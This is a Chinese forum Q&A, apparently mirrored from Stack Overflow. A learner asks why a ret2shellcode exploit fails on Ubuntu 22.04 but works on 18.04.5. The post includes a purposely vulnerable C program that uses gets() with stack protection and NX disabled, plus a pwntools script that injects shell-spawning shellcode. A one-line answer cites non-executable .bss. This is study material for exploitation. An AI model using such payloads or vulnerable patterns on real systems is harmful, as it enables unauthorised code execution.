c-为什么ret2shellcode在ubuntu 22.04中失败,但在ubuntu18.04.5中成功



我正在学习ret2shellcode,并在ubuntu 22.04和kali 2022.2中尝试它,但未能获得shell,但在virtualbox中,我托管了一个ubuntu 18.04.5和相同的pwn脚本,它成功了,所以有人能指出哪里错了吗?

C代码在这里:

#include <stdio.h>
#include <string.h>
char buf[0X100];
void vuln(){
char s[0x100];
gets(s);
puts(s);
strcpy(buf, s);
}
int main(int argc, char *argv[])
{
vuln();
return 0;
}

编译器命令在这里:

gcc -m32 -fno-stack-protector -z execstack -no-pie main.c -o main

和pwnscript在这里:

from pwn import *
context(arch="i386", os="linux")
code = shellcraft.sh()
shellcode = asm(code)
io = process("./main")
l = 0x108 - len(shellcode)
location = 0x0804C040       # need to update, use ida to find the address of shellcode
payload = shellcode + l * b"a" + 4 * b"b" + p32(location)

io.sendline(payload)
io.interactive()

ubuntu 22.04 virtualbox镜像从这里下载:https://www.linuxvmimages.com/images/ubuntu-2204/

ubuntu 18.04.5 virtualbox镜像从这里下载:https://www.linuxvmimages.com/images/ubuntu-1804/

我发现这个问题与不同版本的gcc、python3和pwntools并不相关。

有人能帮我吗?感谢

.bss自linux 5.x以来不再可执行,您需要mprotect((我的朋友

相关内容

  • 没有找到相关文章

最新更新